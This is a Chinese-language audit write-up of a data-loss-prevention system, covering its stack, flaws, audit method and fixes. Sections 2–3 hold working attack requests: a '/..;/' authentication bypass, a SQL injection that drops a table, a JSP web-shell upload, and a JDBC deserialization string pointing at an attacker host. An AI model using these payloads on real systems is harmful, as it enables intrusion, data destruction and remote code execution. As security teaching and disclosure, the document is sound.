某数据泄露防护系统审计
字数 1654 2025-10-01 14:05:44
某数据泄露防护系统审计教学文档
一、系统架构分析
1.1 技术栈组成
- 框架类型:MVC架构
- 核心框架:Spring Framework
- 版本信息:Spring 4.3.29
- 路由模式:*.do后缀形式
- ORM框架:MyBatis
- 文件上传:MultipartFile组件
1.2 依赖库分析
- 序列化相关:
- Commons BeanUtils 1.9.3
- Commons Collections 3.2.2
- JSON处理:Fastjson(高版本,无法直接利用反序列化)
- 数据库驱动:MySQL 8.0.15
1.3 安全防护机制
- 鉴权方式:Spring Security Filter Chain + JWT组合认证
- 过滤配置:所有*.do路由均经过安全过滤
二、鉴权绕过技术分析
2.1 路径解析绕过
2.1.1 漏洞位置
- 过滤类:SecurityFilter#doFilter
- 校验方法:SessionFilter.isNoNeedValidate
2.1.2 绕过原理
系统对URL路径解析处理不当,存在目录遍历绕过漏洞:
GET /login.jsp/..;/admin/secretEndpoint.do HTTP/1.1
2.1.3 技术细节
- 利用
/..;/实现路径标准化绕过 - 绕过后直接访问后台功能端点
- 所有需要鉴权的接口变为前台可访问
2.2 JWT伪造尝试分析
2.2.1 JWT处理流程
- 从Authorization头获取token
- RC4算法解密token
- HMAC256签名验证
2.2.2 密钥硬编码发现
- 密钥存储:JWTUtils类中存在硬编码SECRET
- 生成方法:标准JWT生成方式
2.2.3 伪造失败原因
签名时除SECRET外还添加了动态参数:
Config.SYSTEM_USER_NUMBER // 系统唯一标识,各部署环境不同
导致无法跨系统伪造有效JWT令牌。
三、漏洞挖掘与利用技术
3.1 SQL注入漏洞(9处)
3.1.1 漏洞成因
- 使用方式:MyBatis中使用了${}进行SQL拼接
- 漏洞位置:PageVo类中的sort参数拼接
3.1.2 代码分析
<!-- Mapper中的漏洞代码 -->
<select id="queryList" parameterType="PageVo">
SELECT * FROM table ORDER BY ${page.sortField}
</select>
3.1.3 利用方式
构造恶意sort参数实现注入:
POST /queryData.do HTTP/1.1
Content-Type: application/json
{
"sortField": "id; DROP TABLE users; --"
}
3.1.4 挖掘方法
全局搜索${查找MyBatis中的SQL拼接点。
3.2 任意文件上传漏洞
3.2.1 漏洞位置
- 接收参数:MultipartFile类型参数
- 处理方法:uploadWxFileToRoot
3.2.2 漏洞详情
public String uploadWxFileToRoot(MultipartFile file) {
// 无后缀过滤
String path = String.valueOf(System.getProperty("catalina.home"))
+ File.separator + "webapps"
+ File.separator + "ROOT"
+ File.separator + file.getOriginalFilename();
file.transferTo(new File(path));
return path;
}
3.2.3 利用方法
POST /uploadFile.do HTTP/1.1
Content-Type: multipart/form-data
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
3.3 JDBC反序列化漏洞
3.3.1 漏洞环境
- MySQL版本:8.0.15
- 依赖链:CB链(Commons BeanUtils + Commons Collections)
3.3.2 利用技巧
利用JDBC连接字符串中的注释特性绕过限制:
String url = "jdbc:mysql://attacker-controlled.com:3306/test?"
+ "autoDeserialize=true&statementInterceptors="
+ "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"
+ "#&user=deserialization_payload_here";
3.3.3 技术要点
- 使用
#注释掉后续参数避免语法错误 - 结合CB链实现RCE
四、审计方法论总结
4.1 系统化审计流程
- 架构分析:梳理技术栈和依赖版本
- 鉴权分析:从web.xml入手分析过滤链
- 入口挖掘:寻找用户输入可控点
- 漏洞验证:本地环境构造验证Payload
4.2 关键检查点
- XML配置:web.xml中的filter-mapping
- 注解使用:@RequestMapping等路由注解
- 参数接收:Controller方法参数列表
- SQL处理:MyBatis中${}的使用情况
- 文件操作:文件路径拼接和校验逻辑
4.3 开发安全建议
- 避免使用${}进行SQL拼接
- 对上传文件进行后缀白名单校验
- 使用标准化路径处理避免解析绕过
- JWT密钥应避免硬编码,使用动态密钥管理
五、修复方案
5.1 紧急修复措施
- 添加路径标准化处理过滤器
- 临时禁用存在SQL注入的接口
- 限制文件上传目录为非web可访问路径
5.2 长期加固方案
- 升级Spring Security到最新版本
- 实施严格的输入验证和输出编码
- 部署WAF防护常见Web攻击
- 建立定期安全审计机制
注:本文档仅用于安全研究和教育目的,请勿用于非法用途。所有漏洞信息已提交给相关厂商并完成修复。